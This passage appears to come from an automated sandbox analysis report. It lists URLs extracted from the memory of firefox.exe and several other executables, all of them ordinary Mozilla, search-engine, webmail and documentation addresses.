Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpamazondotcom%40search.mozilla.org:1.6resource://gre/modules/T
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176703968.0000025923911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3072690944.000002593B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: c1b0009d40.exe, 00000009.00000003.2893540580.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2877011760.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2889639076.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2906776140.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?versio
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001A.00000003.3090406291.0000025934B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000003.3079779963.00000259355C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186609548.000002592FA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001A.00000003.3095834333.0000025934AE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3072690944.000002593B8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176703968.0000025923911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsARE
Source: firefox.exe, 0000001A.00000002.3183561232.000002592F1DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001A.00000003.2996313213.0000025933A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sgecko.handlerService.d
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D45512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.3111017875.000002593BFDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3106778667.000002593BFE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3111017875.000002593BFF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Script
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comX
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D45512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D4552F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
